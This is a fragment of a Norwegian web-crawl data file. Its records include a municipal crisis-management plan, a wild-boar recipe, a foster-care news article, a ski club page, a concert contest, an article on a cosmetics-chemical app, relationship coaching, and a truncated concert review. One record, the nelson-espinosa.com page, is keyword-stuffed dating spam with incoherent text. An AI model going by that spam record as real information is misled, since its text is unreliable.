f\u00e5r kjennskap til store ulykker eller katastrofer, skal det straks s\u00f8kes kontakt med n\u00e6rmeste overordnet/kriseledelsen i kommunen Politiets rolle I en krisesituasjon har politimesteren, i henhold til politilovens 27 tredje ledd, ansvar for \u00e5 beslutte, iverksette og koordinere tiltak for \u00e5 avverge farer og begrense skader. N\u00e5r en ulykke eller katastrofe er i akuttfasen vil det bli opprettet LRS i tilknytning til skadestedet. Hver lokal redningssentral best\u00e5r av en redningsledelse med politimesteren som leder. Midlertidig skadestedsledelse kan bekles av andre (brannsjefen) inntil politiet har overtatt. Ved behov for omfattende koordinering og underst\u00f8ttelse av en ulykke/katastrofe, kan politimester velge \u00e5 etablere lokal redningssentral (LRS). Brannsjefen er medlem av LRS og vil kunne tiltre denne. Kommunen kan ogs\u00e5 velge \u00e5 v\u00e6re representert i LRS med en liaison for \u00e5 sikre n\u00f8dvendig koordinering av innsats. Lensmannen er fast medlem i Kriseledelsen og er naturlig den som er bindeleddet mellom LRS og kommunens kriseledelse. NB\\! Hvis LRS er etablert, skal all informasjon om selve skaden/hendelsen g\u00e5 derfra. 9\n\n10 2. 7. Prinsipper for kriseh\u00e5ndtering Aver\u00f8y kommune legger til grunn prinsippene ansvar, n\u00e6rhet, likhet og samarbeid for kriseh\u00e5ndteringen i kommunen. Kommunen legger ogs\u00e5 til grunn viktigheten av \u00e5 mobilisere tilstrekkelige ressurser s\u00e5 raskt som mulig (bedre med for mye i tide enn for lite og for sent). Ansvar: Den som har ansvar i det daglige (normalsituasjonen) skal ogs\u00e5 ha ansvaret n\u00e5r en krise rammer. Likhet: Organisering som benyttes ved kriser skal v\u00e6re mest mulig lik den daglige organiseringen. N\u00e6rhet: En krise skal h\u00e5ndteres p\u00e5 lavest mulig niv\u00e5. Samvirke: Samvirke med relevante sivile og offentlige instanser. 3. Fullmakter I en akuttsituasjon, der det ikke er tid til \u00e5 kalle sammen formannskap eller kommunestyre, har kriseledelsen ved kommunestyrevedtak f\u00e5tt fullmakt til \u00e5 disponere inntil kr ,- for \u00e5 avverge eller avgrense skade. Denne fullmakten er gitt med hjemmel i kommunelovens 13. Ved en u\u00f8nsket hendelse der denne fullmakten blir brukt skal r\u00e5dmannen opprette et eget prosjekt(nummer) i det kommunale regnskapet der alle utgifter i forbindelse med hendelsen blir f\u00f8rt. Dette gjelder b\u00e5de p\u00e5 overordnet og enhetsniv\u00e5. Beslutning om \u00e5 etablere kriseledelse vil normalt bli foretatt av r\u00e5dmannen. I tilfelle hvor han/hun ikke er tilgjengelig, kan beslutning om \u00e5 etablere kriseledelse tas av medlemmene av kriseledelsen, og r\u00e5dmannen varsles s\u00e5 snart som mulig. 10\n11 4. Rapportering All rapportering skal i utgangspunktet utf\u00f8res elektronisk i DSB-CIM. Alternativt benytte ferdig utarbeidet loggskjema. Etablering av kriseledelse skal rapporteres til: - Fylkesmannen - Politiet - Andre aktuelle utenforliggende myndigheter (eks Kystverket ved ulykker til sj\u00f8s) Annen rapportering: - Kommunen avgir fortl\u00f8pende rapport til Fylkesmannen. - Beredskapssekretariat og enhetsledere rapporterer til r\u00e5dmannen 5. Varsling av krise Varsel om en krisesituasjon kan komme fra ulike kilder, enten via personer som er direkte/indirekte ber\u00f8rt/rammet eller fra personer utenfor som registrer/oppdager krisen. N\u00e5r en krise oppst\u00e5r skal varsel foreg\u00e5 slik: - N\u00f8detatene (110, 112 og 113) - Ansvarlig leder - Ordf\u00f8rer, r\u00e5dmann og beredskapsleder - Varsel til hele/deler av kriseledelsen 6. Varslingslister Automatiserte varslingslister er etablert i DSB-CIM. Papirkopi er tilgjengelig i beredskapsperm hos assisterende r\u00e5dmann (beredskapsansvarlig). Ved behov for varsling vil beredskapssekretariatet kunne bist\u00e5 kriseledelsen med dette. F\u00f8lgende varslingslister er utarbeidet (vedlegg 1): Kriseledelsen Beredskapssekretariat N\u00f8kkelpersonale Psykososialt kriseteam Fylkesmannen Befolkningsvarsling framg\u00e5r av plan for kriseinformasjon. 11\n\n", "language": "no", "__index_level_0__": "5c3871bf-1d7a-428a-a483-05db890c83a1"}
{"url": "http://godtsuntogbillig.blogspot.fr/2014/06/saltet-villsvin-stek.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-24T23:48:14Z", "text": "## 28\\. jun. 2014\n\n### Langtidssteking og Salting L\u00e5r - Stek\n\nSaltet kj\u00f8tt er utrolig godt og anbefales som en liten variasjon,  \neller f.eks. med kj\u00f8tt som har v\u00e6rt fryst lenge eller du er usikker p\u00e5 smaken.  \n  \n\n\n\n  \n***Saltet villsvin l\u00e5r - stek***  \n  \n***l\u00e5r-stek***  \n***ca 1/2 dl grovt havsalt***  \n***  \n*** ***2 ss timan***  \n***1/2 ts pepper***  \n***olivenolje***  \n  \n*Tin kj\u00f8ttet hvis det kommer fra fryseren.*  \n*Gni det godt inn med saltet,\u00a0*  \n*ha den i en pose (med saltet) og la ligge kj\u00f8lig over natten.*  \n*Ta kj\u00f8ttet ut av posen og skyll det godt.*  \n*  \n* *Legg steken p\u00e5 en rist over en langpanne eller direkte i langpanna.*  \n*str\u00f8 over timian og pepper, gni det inn.*  \n*Ha p\u00e5 godt med olivenolje og ca en dl vann (eller kombucha ;-) \u00f8l eller vin i langpanna.*  \n*Stekes i 10 timer p\u00e5 80 grader, 5-6 timer p\u00e5 100 grader eller 4 timer p\u00e5 120 grader.*  \n*Stikk gjerne inn ett termometer hvis du vil ha en rosa kjerne,*  \n*eller stek s\u00e5 lenge som mulig (uten at det t\u00f8rker) for ett m\u00f8rt resultat p\u00e5 linje med pulled porc.*  \n  \n\n\n\n  \nHvis du steker p\u00e5 80 grader,  \n\u00a0kan du heve temperaturen p\u00e5 slutten av steketiden for \u00e5 f\u00e5 brunet steken.  \nVed de andre temperaturene blir skinnet brunt og spr\u00f8tt av seg selv :-)  \n  \n\n\n\n  \nSkj\u00e6rs i skiver og serveres med kraften.  \nGr\u00f8nne gr\u00f8nnsaker passer perfekt til,  \nsom aspargesb\u00f8nner, brokkoli etc.  \n  \n***Bon App\u00e9tit :-)***  \n  \n*En enkel m\u00e5te \u00e5 f\u00f8lge bloggen p\u00e5 er \u00e5:*\n\n*1) Har du google konto kan du bli f\u00f8lger p\u00e5 nettstedet mitt,*\n*du melder deg p\u00e5 i feltet p\u00e5 h\u00f8yre side:*\n\n*F\u00f8lgere-medlemmer*\n\n*-alle nye innlegg blir satt opp der...*\n\n*(men husk at du blir borte i newsfeeden hvis du ikke liker innleggene innimellom...)*\n\n***I tilegg blir jeg veldig***  \n***\u00a0glad og inspirert\u00a0***  \n***av alle nye f\u00f8lgere, G+ og liker...***  \n***P\u00e5 forh\u00e5nd takk og jeg liker og f\u00f8lger selvf\u00f8lgelig tilbake ;-)***  \n\n        \n1.  \n    \n    fischer30. desember 2016 kl. 20:11\n    \n    Hei tenkte \u00e5 pr\u00f8ve denne vildsvine opskrift i morgen :) Men hva skal temperaturen p\u00e5 stegetermometer v\u00e6re ved rosa kerne ?\n    \n    1.  \n        \n        Hege Nitteberg31. desember 2016 kl. 16:28\n        \n        Hei, 60 grader er grensen for 'blodig' s\u00e5 maks 65 for rosa.  \n          \n        Lykke til :-)\n        \n...til stor glede for bloggforfatteren :-)  \n\n", "language": "no", "__index_level_0__": "6f9c4731-6fe8-4fd5-8b65-570162dfffd7"}
{"url": "https://www.ta.no/nyheter/bamble/barnevern/20-barn-i-telemark-venter-pa-et-nytt-trygt-hjem/s/5-50-452713", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00088.warc.gz", "warc_date": "2018-03-24T23:33:29Z", "text": "# 20 barn i Telemark venter p\u00e5 et nytt trygt hjem\n\n\n\nAv Edle Eidbo-Hansen\n\n Publisert: 07. desember 2017, kl. 21:06   Sist oppdatert: 07. desember 2017, kl. 21:06 \n\nTELEMARK: - Vi \u00f8nsket \u00e5 f\u00e5 barn inn i livene v\u00e5re, og bestemte oss for \u00e5 bli et fosterhjem, forteller Marianne Thorsen fra Bamble. Men Bufetat Telemark trenger fortsatt mange flere som vil v\u00e6re med \u00e5 gj\u00f8re en forskjell for barn og unge.\n\n\u00abMatpakkesm\u00f8rer s\u00f8kes\u00bb st\u00e5r det p\u00e5 lappen du kanskje har lagt merke til rundt om p\u00e5 ulike oppslagstavler.\n\nDet ser ut som det er et barn som har hengt den opp, men g\u00e5r du n\u00e6rmere ser du det er Bufetat. De som jobber for \u00e5 f\u00e5 rekruttere flere fosterhjem, og de som hjelper barn som av ulike grunner trenger et nytt hjem som kan gi de trygghet, omsorg og god oppf\u00f8lging.\n\nI g\u00e5r ble en ny hengt opp p\u00e5 Brotorvet i Bamble, av ordf\u00f8rer Hallgeir Kjeldal. Han benytter anledningen ogs\u00e5 til \u00e5 rose de som allerede har tatt p\u00e5 seg oppgaven.\n\n\u2013 \u00c5 gi et barn et nytt anker i livet er en stor oppgave \u00e5 ta p\u00e5 seg, men ogs\u00e5 utrolig viktig for samfunnet. Det skal de virkelig ha ros og anerkjennelse for dem som allerede gj\u00f8r en jobb for dette, sier Kjeldal.\n\n## Nytt kurs\n\nMarianne Thorsen og mannen bestemte seg etter at de hadde fullf\u00f8rt \u00abPRIDE- kurset\u00bb. Et oppl\u00e6ringsprogram som forbereder, utvikler og st\u00f8tter fosterhjem. Her ble de ogs\u00e5 forberedt p\u00e5 ting som kan oppleves vanskelig ved \u00e5 v\u00e6re fosterforeldre.\n\n\u2013 Rettsprosesser for eksempel. For mange familier er det noe man m\u00e5 igjennom. Mange sier \u00abdet hadde jeg ikke klart\u00bb, men jeg tenker heller p\u00e5 barna. Kanskje blir det ikke like mange \u00e5rs omsorg som man kunne \u00f8nske for alle, men tenk heller p\u00e5 hvilken forskjell du kan gj\u00f8re den tiden du har dem, p\u00e5peker Thorsen.\n\nThorsen og mannen ble fosterforeldre for et s\u00f8skenpar p\u00e5 henholdsvis sju m\u00e5neder og fire \u00e5r, for fem \u00e5r siden. De h\u00e5per det blir 15 \u00e5r til. Statistikken sier ogs\u00e5 at det er langt oftere barn blir v\u00e6rende hos fosterforeldre, enn tilbakef\u00f8rt til biologiske foreldre.\n\n\u2013 V\u00e5r opplevelse har bare v\u00e6rt positiv. Det g\u00e5r kjempefint med barna og familien v\u00e5r, sier Thorsen. Hun er blitt vant med at folk er nysgjerrig og sp\u00f8r. Derfor har hun ogs\u00e5 valgt \u00e5 v\u00e6re s\u00e5 \u00e5pen hun kan.\n\n\u2013 S\u00e6rlig barn sp\u00f8r og lurer, s\u00e5 jeg har blant annet v\u00e6rt i klassen hos eldstemann og fortalt litt, smiler hun.\n\nFebruar neste \u00e5r starter nytt PRIDE- kurs i Skien, og i mars starter et i Bamble. Ti samlinger over tre timer, inkludert hjemmebes\u00f8k.\n\n\u2013 Det er for \u00e5 gj\u00f8re potensielle fosterforeldre forberedt, og for v\u00e5r del ogs\u00e5 for \u00e5 avklare egnethet, opplyser r\u00e5dgiver i Bufetat Telemark fosterhjemstjeneste, Kristi Storhaug Lien.\n\n\n\n## 20 barn venter\n\nStorhaug Lien forteller at 20 barn for \u00f8yeblikket venter p\u00e5 et fosterhjem. Behovet for nye hjem er alltid der, og \u00e5rlig trengs rundt 50 nye. Det er s\u00e6rlig barn i alderen 8\u201314 \u00e5r det er vanskelig \u00e5 finne fosterhjem til.\n\n\u2013 Fosterforeldrene vi har i dag er par b\u00e5de med og uten barn fra f\u00f8r, noen er enslige og andre er i likekj\u00f8nnede parforhold. Alle er velkommen til \u00e5 melde seg til oss om de tenker at de kan v\u00e6re noe for dem. Avgj\u00f8relsen om man \u00f8nsker \u00e5 ta p\u00e5 seg en slik oppgave tar man f\u00f8rst etter kurset, understreker Storhaug Lien.\n\n\n\n", "language": "no", "__index_level_0__": "b091b3c4-7b08-4058-b8e1-587379fcf37b"}
{"url": "http://www.roykenhopp.com/innhold/category/info_perm", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00236.warc.gz", "warc_date": "2018-03-24T23:17:10Z", "text": "Er du registrert spiller hos Norsk tipping og \u00f8nsker \u00e5 st\u00f8tte R\u00f8ykenhopp hver gang du leverer kupongen? Se instruksjonene ovenfor, eller last ned / skriv ut\u00a0denne siden, og se hvordan du g\u00e5r fram for \u00e5 registrere riktig informasjon. Takk for st\u00f8tten\\!\n\n## St\u00f8tt R\u00f8ykenhopp ved \u00e5 bytte bilrute hos Steinspruten\\!\n\n**Posted on 24 feb 14 av   Admin\n\n\n\n\nV\u00e5r sponsor Steinspruten i Drammen har et for R\u00f8ykenhopp meget gunstig tilbud: De gir klubben kr. 1.000,- for hvert medlem som\u00a0bytter bilrute hos de\\! Det er bare \u00e5\u00a0opplyse\u00a0ved bestilling at man er medlem av R\u00f8ykenhopp. (Dette tilbudet kommer p\u00e5 toppen av det Steinspruten allerede st\u00f8tter oss med\\!)\n\n## H\u00f8vikbakken\n\n## Hoppskolen\n\nR\u00f8ykenhopps \u00abkjernevirksomhet\u00bb er \u00e5 rekruttere jenter og gutter til hoppsporten. Vi arrangerer derfor hoppskole hver vinter n\u00e5r sn\u00f8forholdene tillater det. Mer informasjon finnes p\u00e5 siden Hoppskole.\n\n## Medlemskap\n\n**Posted on 1 jan 10 av   Admin\nAlle aktive ut\u00f8vere i R\u00f8ykenhopp, inkludert deltagere p\u00e5 hoppskolen, samt personer med funksjoner som styremedlem, oppmann, trener el.l.,\u00a0*m\u00e5*\u00a0v\u00e6re medlemmer av klubben. Med medlemskap er man dekket av Idrettsforbundets kollektive skadeforsikring (under 13 \u00e5r), og man kan delta i terminfestede renn. Man kan melde seg inn gjennom Minidrett.no, eller ved \u00e5 kontakte kassereren. Se denne meldingen for n\u00e6rmere detaljer.\n\n|                           |            |                                                                                                                                     |\n| ------------------------- | :--------: | :---------------------------------------------------------------------------------------------------------------------------------: |\n|                           | Kontingent |                                                                 For                                                                 |\n| Aktivt enkelt-medlem      |  kr 200,-  |                                     Aktive ut\u00f8vere, og personer med faste oppgaver for klubben.                                     |\n| Familie                   |  kr 400,-  | Samlekontingent for hele familien, uansett aktive og / eller ikke-aktive medlemmer. Gjelder kun familiemedlemmer med samme adresse. |\n| Ikke-aktivt enkelt-medlem |  kr 100,-  |                                   For de som \u00f8nsker \u00e5 st\u00f8tte klubben og sporten som enkeltperson.                                   |\n\n## Forsikring / Skilisens\n\n", "language": "no", "__index_level_0__": "c26365a9-06d2-495a-88de-41816742b65c"}
{"url": "http://nettvinduet.no/underholdning/musikk/vinn-eksklusiv-kvelertak-opplevelse", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00777.warc.gz", "warc_date": "2018-03-24T23:13:22Z", "text": "   Vinn eksklusivt Kvelertak - Burton snowboard, konsertbilletter + meet & greet med bandet f\u00f8r konsert\\!  Foto: Tom Lund\n\n**Vi hyller et av verdens r\u00e5este rockeband med en kul opplevelse for 10 heldige konkurranse vinnere\\!**\n\nEksklusive Kvelertak Burton snowboards, konsertbilletter og meet & greet med bandet for bilder og signering, i forbindelse med konsert i Oslo spektrum 27 april.\n\n**Kvelertak er aktuell som oppvarmingsband for selveste\u00a0**Metallica**\u00a0i forbindelse med det legendariske bandets verdensturn\u00e8 2018\\!**\n\nDu kan vinne eksklusive Kvelertak Burton snowboard designet av Martin Kvamme, konsertbilletter til deg + en venn og m\u00f8te med bandet f\u00f8r konsert\\! Kun 5 brett finnes\\!\n\n\n\n**V\u00e6r med oss p\u00e5 en kul opplevelse torsdag 27 april**. Vi m\u00f8tes p\u00e5 **Oslo & Akershus bryggerier** p\u00e5 Gr\u00f8nland i\u00a0Oslo. Der blir det enkel servering med \u00f8l og pizza, + overrekking av Kvelertak Burton brett.\u00a0Deretter rusler vi bort i Oslo spektrum for et hyggelig m\u00f8te med gutta i\u00a0Kvelertak. Der f\u00e5r vinnere mulighet til \u00e5\u00a0signere brettet sitt, ta noen kule bilder sammen med bandet og se konserten\\! Hele opplegget blir filmet og publisert i etterkant av dagen.\u00a0\n\n**Hvordan vinne Kvelertak opplevelse?**\n\nLast opp et kult bilde av deg selv p\u00e5 Facebook og Instagram, hashtag burtonnorge, tag\u00a0navnet p\u00e5 den du vil ha med deg p\u00e5 opplevelsen i kommentarfeltet p\u00e5\u00a0Burton Norge Facebookside.\n\nTrekning av vinnere\u00a0foreg\u00e5r mandag 24 april. **OBS\\! 18 \u00e5rs aldersgrense\\!**\n\nKvelertak go out on the road in Norway in March, reaching the places that their last Nattesferd didn't reach.\n\nLast modified on l\u00f8rdag, 01 april 2017 13:21\n\n", "language": "no", "__index_level_0__": "e7c30cac-5ea6-4154-9126-442a608492c1"}
{"url": "http://kilden.info/2013/07/02/skaff-deg-appen-hormonsjekk/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00353.warc.gz", "warc_date": "2018-03-24T23:48:14Z", "text": "# Skaff deg appen \u00abHormonsjekk\u00bb\n\nby kilden\u00a0\u2022\u00a02. juli 2013\n\n**I 2011 lanserte Forbrukerr\u00e5det appen \u00abHormonsjekk\u00bb som sjekker om kosmetikk og hudpleieprodukter inneholder hormonforstyrrende stoffer. Appen ble straks en stor hit \u00a0og l\u00e5 som nummer 1 i AppStore og er lastet ned over 130 000 ganger med 1, 5 millioner scanninger. \u00a0**\n\nDet blir snakket mer og mer om hormonforstyrrende kjemikalier vi f\u00e5r i oss i hverdagen, ikke minst gjennom kosmetikk og kroppspleieprodukter. Hver for seg og i kombinasjon, kan disse hormonforstyrrende kjemikaliene p\u00e5virke v\u00e5rt hormonsystem slik at barn kommer tidligere i puberteten, s\u00e6dkvalitet hos menn blir forringet og det er \u00f8kt risiko for b\u00e5de testikkel- og brystkreft \u00a0blant mer. Med andre ord kan bruken av tilsynelatende uskyldige produkter bidra til alvorlige helseskader.\n\n**F\u00f8re-var-prinsippet**\n\nForbrukerr\u00e5det har derfor utviklet denne appen for \u00e5 hjelpe forbrukerne scanne produkter for innhold av ulike hormonhermere som kan skade deg. F\u00e5r du beskjed om at et produkt inneholder skadelige stoffer, kan du samtidig varsle dine venner.\n\nStoffene appen sjekker for brytes heller ikke ned i naturen og er i tillegg til \u00e5 v\u00e6re helsekskadelige, ogs\u00e5 milj\u00f8skadelige. Forbrukerr\u00e5det \u00f8nsker derfor at alle hormonforstyrrende kjemikalier skal forbys i alle kosmetikk- og kroppspleieprodukter.\n\n\n\n\u00abProduktene i denne applikasjonen er ikke ulovlige \u00e5 omsette i Norge og norske helsemyndigheter anser ikke de 17 stoffene som helseskadelige i de mengder de tillates brukt i kosmetikk. Forbrukerr\u00e5det, derimot, jobber for en strengere regulering av hormonforstyrrende stoffer i forbrukerprodukter med utgangspunkt i et f\u00f8re-var-prinsipp. Vi mener forbrukerne skal ha mulighet til \u00e5 velge bort stoffer som er dokumentert skadelige p\u00e5 dyr og stoffer som over tid og i kombinasjon med andre stoffer kan vise seg \u00e5 v\u00e6re skadelige ogs\u00e5 for mennesker, slik stadig flere forskere frykter,\u00bb skriver Forbrukerr\u00e5det p\u00e5 sine hjemmesider.\n\nGr\u00f8nn Hverdag skriver, \u00abEUs vitenskapskomiteer har s\u00e5 langt vurdert de enkelte parabenene isolert og enkeltvis. De har ikke tatt hensyn til den s\u00e5kalte cocktaileffekten \u2013 at hormonforstyrrende stoffer kan virke sammen. Det som foreligger av forskning p\u00e5 kombinasjonseffekter, viser at det er sannsynlig at man m\u00e5 legge sammen effekten av forskjellige hormonforstyrrende stoffer for \u00e5 finne den virkelige risikoen.\u00bb\n\n**Stevnet Forbrukerr\u00e5det for retten**\n\n\u00abHormonsjekk-appen\u00bb har v\u00e6rt s\u00e5 effektiv at Forbrukerr\u00e5det ble saks\u00f8kt av produsenten av A-creme og m\u00f8ttes i tingretten, mandag 10. juni. De hevder at salget av deres krem stupte etter appen ble lansert.\n\n\u2013 Vi skulle gjerne sett at import\u00f8ren heller brukte energien p\u00e5 \u00e5 erstatte methylparaben, istedenfor \u00e5 saks\u00f8ke Forbrukerr\u00e5det for opplyse om det som allerede st\u00e5r p\u00e5 pakningen, sier direkt\u00f8r Randi Flesland i Forbrukerr\u00e5det p\u00e5 deres hjemmesider.\n\n**Disse hormonforstyrrende stoffene blir sjekket:**\n\n3-Benzylidene camphor\n\n4,4'-Dihydroxy-benzophenone\n\n4,4'Dihydroxy-biphenyl (Dihydroxybiphenyl)\n\n4-Methylbenzylidene camphor\n\nBenzophenone-1\n\nBenzophenone-2\n\nBHA eller tert. Butylhydroxyanisol\n\n", "language": "no", "__index_level_0__": "58f80928-a150-45da-a8a0-a3dc87f9fcf5"}
{"url": "http://nelson-espinosa.com/748-kjrester-eller-venner-young.php", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00128.warc.gz", "warc_date": "2018-03-24T23:41:59Z", "text": "en In Sparta education was almost entirely physical (contrast Paul's counsel to Timothy at 1Ti 4:8), young boys being taken from their parents at the age of 7 and og fysisk helse.6 De fant at det er mer sannsynlig at barn blir mishandlet av en av foreldrenes kj\u00e6reste eller en stefar eller stemor, enn av biologiske foreldre.7. q500 binding \"Sydhav p\u00e5 nettet\" sendte en e-mail til Kari Boye Young, som er gift med en av \u00f8yboerne og har bodd p\u00e5 Pitcairn. Hun er n\u00e5 bosatt i Vet ikke om det er et \u00f8mt\u00e5lig emne, eller om det hele bare er en liten hendelse som har blitt bl\u00e5st ut av proporsjon (\"en fj\u00e6r til fire h\u00f8ns\" er ikke s\u00e5 uvanlig i sydhavet).\" Under er Karis svar:\u00a0 c-date.at test kj\u00e6rligheta e s\u00e5 mangfoldig Rett f\u00f8r jul for syv \u00e5r siden, tok jeg en guidet busstur p\u00e5 Lanzarote. P\u00e5 bussen var Torbe\u200bn\u200b.\u200b \u200bVi snakket litt sammen p\u00e5 turen\u200b,\u200b og jeg m\u00e5\u200b \u200binnr\u00f8mme at han gjorde et godt inntrykk. Han inviterte meg p\u00e5 date dagen etter. Halvannen \u200btime ut i middagen tok han frem en liten eske med \u200ben \u200bring\u200b, \u200bog spurte om jeg\u00a0\ndate no bake bars dating tips aquarius man vennskap psykisk helse 9. aug 2016 Kim Young iLL\\! - Navn: Kim A. Melby. - Alder: 27 \u00e5r. - Sivilstatus: Kj\u00e6reste. - Yrke: Kokk og DJ (Underground House og Oldschool). - Bytrynefaktor: Kokk Etter jobb s\u00e5 jobber jeg alltid med noe klubbrelatert eller min egen musikksamling, ogs\u00e5 klemmer jeg inn litt Playstation for \u00e5 gj\u00f8re noe som ikke er jobb.\n\nNormalt. 0 Comments. Hva vil du at vi skal v\u00e6re p\u00e5 ungdomsskolen, venner, bff, fl\u00f8rt, kj\u00e6rester eller ikke noe spess? \\#felles \u00b7 More Answers \u00b7 \u2734 Mathias Fagertun \u2734. 2 years. Er ikke p\u00e5 Ungdomsskolen g\u00e5r Videreg\u00e5ende. 0 Comments. 1 like ?Dirty/Rare/Spesielle Sp\u00f8rsm\u00e5l\\! Har du hatt en fin sommer? \u2764 . Isabell. f dating site norge.no hva er forskjellen mellom herpes og kj\u00e6rlighet 12. feb 2015 For det er jo en slags kneik man skal over.. Sex for f\u00f8rste gang, liksom.. Det er stort\\! Det kan v\u00e6re fantastisk, skikkelig d\u00e5rlig, kleint, rart, merkelig, fint.. Den f\u00f8rste gangen kan v\u00e6re s\u00e5 mangt, men det viktigste \u00e5 ha i bakhodet er at det ikke finnes en fasit for n\u00e5r du b\u00f8r hoppe i det. Om du er 16 \u00e5r eller 25 \u00e5r,\u00a0Reise alene: Reisetips for single - DinSide. De fleste unge enslige menn som er asyls\u00f8kere fra Afghanistan f\u00e5r avslag p\u00e5 s\u00f8knaden sin. Du kan n\u00e5r som helst s\u00f8ke om assistert retur til hjemlandet damer Halden er et s\u00f8k mange single menn gj\u00f8r n\u00e5r dem \u00f8nsker \u00e5 oppleve dating, fl\u00f8rt eller nettdate med single\u00a0 maribo sukkervarefabrik a/s 11. jun 2012 For mange er sommer ensbetydende med festivaler, om de s\u00e5 er hardbarka Roskilde-travere med v\u00e5te telt og tannpuss p\u00e5 fellesen eller j\u00e5lebukker med Hennes neste singel, \"Live Tomorrow\" - fra samme plate, ble en stor hit b\u00e5de i Norge og Sverige, sammen med monsterhiten \"Some Die Young\", som\u00a0\n\n", "language": "no", "__index_level_0__": "3e82da57-edea-4b4e-8f60-4711a22f7423"}
{"url": "http://www.klikk.no/kvinneguiden/samliv/unnga-feriekrangling-2662392", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:47:29Z", "text": "# Unng\u00e5 feriekrangling\n\n### Coachen veileder deg og partneren.\n\n\n\n  Linn Merete Rogn\u00f8  \n\nPublisert 27.06.11  Oppdatert 13.03.12 \n\nSommerferien har startet for mange allerede, vi gleder oss til \u00e5 slappe av og nyte lange dager med opplevelser, sosiale kvelder og endel\u00f8se m\u00e5ltider med god mat der alle er glade og livsnytelsen er p\u00e5 topp. Kanskje vi til og med har hatt riktig romantiske dr\u00f8mmer om hvor fint det skal bli.  \n  \nMen hva om det ikke blir helt s\u00e5nn? Denne uken tipser Kvinneguidens coach og kommunikasjonsekspert, Annika Richardsen, om hvordan dere kan holde p\u00e5 ferieidyllen, slik at dere unng\u00e5r \u00e5 ha forventninger som ikke blir m\u00f8tt. Hva om ferien setter s\u00f8kelyset p\u00e5 s\u00e5re tema dere ikke har turt \u00e5 adressere? Hvordan unng\u00e5r dere irritasjon og krangling i ferien?  \n  \n**N\u00e5r ferien gj\u00f8r problemene synlig**  \n  \n\\- Ferien kan innimellom avdekke tema i forholdet som det ikke har v\u00e6rt snakket om, men som har v\u00e6rt t\u00e5kelagt og gjemt under en trykket overflate. Det er forhold som kanskje har haltet avg\u00e5rde en stund der den ene gr\u00e5 hverdagen har avl\u00f8st den andre uten at man har turt \u00e5 innr\u00f8mme det overfor seg selv eller partneren, sier Annika.  \n  \n\nN\u00e5r man plutselig har tid til overs og er sammen hele tiden, kan det bringe frem verkebyller som dere har klart \u00e5 unng\u00e5 tidligere. Om det er tilfelle s\u00e5 er det viktig \u00e5 tenke p\u00e5 hva du \u00f8nsker \u00e5 oppn\u00e5.  \n  \n**Ta ansvaret**  \n  \n\\- Er temaet slik at du er n\u00f8dt \u00e5 ta det opp i ferien, s\u00e5 tenk igjennom hva du \u00f8nsker \u00e5 si f\u00f8r du tar det opp og ha formuleringene klare. S\u00f8rg for at du ser din egen delaktighet i problematikken og at du tar ansvar for din del. Si til den det gjelder at du ser ditt ansvar i problemet og sp\u00f8r om dere kan snakke om det. Kommuniser det klart til den det gjelder uten at du legger for mye skyld og peker finger, men at du formulerer deg litt mer i observasjonsmodus, eksempelvis: \"jeg opplever deg som\u00bf\", snarere enn \"du er\", tipser coachen.  \n  \n**Forventninger**  \n  \nOpplever du at du blir skuffet over ferien og at romantikken uteblir, ungene skriker og regnet \u00f8ser ned? Klart det er lov \u00e5 bli skuffet, men det er mulig \u00e5 tenke positive tanker uansett.  \n  \n\\- Du kan jobbe med \u00e5 adoptere en innstilling der du aksepterer det du ikke kan gj\u00f8re noe med - som for eksempel v\u00e6ret - og gj\u00f8r noe med det du kan endre\\! Du kan ogs\u00e5 fokusere p\u00e5 det du er takknemlig for og ikke ta deg selv s\u00e5 h\u00f8ytidelig. Om det er partneren det gjelder, ta ansvar og fortell om dine forventninger. Om det er noe du \u00f8nsker deg men ikke f\u00e5r hos kj\u00e6resten er det ikke sikkert vedkommende vet om det engang. Ikke fall for fristelsen \u00e5 tenke \"det burde han/hun skj\u00f8nt\\!\". Det er ditt ansvar \u00e5 kommunisere dine forventninger, sier Annika.  \n  \n**Gj\u00f8r ferien gladere:**\n\n  - V\u00e6r sjener\u00f8s med bekreftelser, komplimenter og glede uten \u00e5 m\u00e5le p\u00e5 hvor mye som er gitt.\n  - Fokuser p\u00e5 det som er godt og det du kan v\u00e6re takknemlig for.\n  - Selvh\u00f8ytidelighet f\u00e5r ikke v\u00e6re med i feriekofferten - dyrk dine lekne sider og latteren. Livet er for kort til \u00e5 ikke nytes og for kort til \u00e5 v\u00e6re knuslete med kj\u00e6rligheten.\n  -   \n      \n", "language": "no", "__index_level_0__": "6678aa5b-6fd9-4820-8cc9-2ffd80a45b6e"}
{"url": "https://blogg.deichman.no/musikk/2017/08/09/klubboya-2017-de-marvells/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:21:32Z", "text": "\n\nAv: Victor Josefsen Anbefalinger 9. august 2017\n\n# Klubb\u00f8ya 2017 \u2013 De Marvells\n\n\n\nPostkontoret var n\u00e6rmest fullt denne kvelden. De Marvells takker for tilliten og trykker til med grov og reinspikka rock/drivende boogierock i \u00abDark Love\u00bb, deres f\u00f8rste singel. En av h\u00f8ydepunktene. Vokalisten var all over the place p\u00e5 scenen, i motsetning til den langh\u00e5rete gitaristen som sto p\u00e5 scenen i ubevegelig shoegaze-kikke ned p\u00e5 skoene-positur. Han lot gitaren snakke for seg, noe han lyktes til gangs med.\n\nP\u00e5 en av de tunge, blues-infiserte l\u00e5tene tok det en liten stund f\u00f8r det gnistret,\u00a0men den energiske vokalisten og resten av bandet sto p\u00e5 som bare det, bra band, forresten, og reddet det hele vel i havn. De nektet rett og slett \u00e5 gj\u00f8re en middels figur. I resten av settet kom kraften og suget i De Marvells' l\u00e5ter 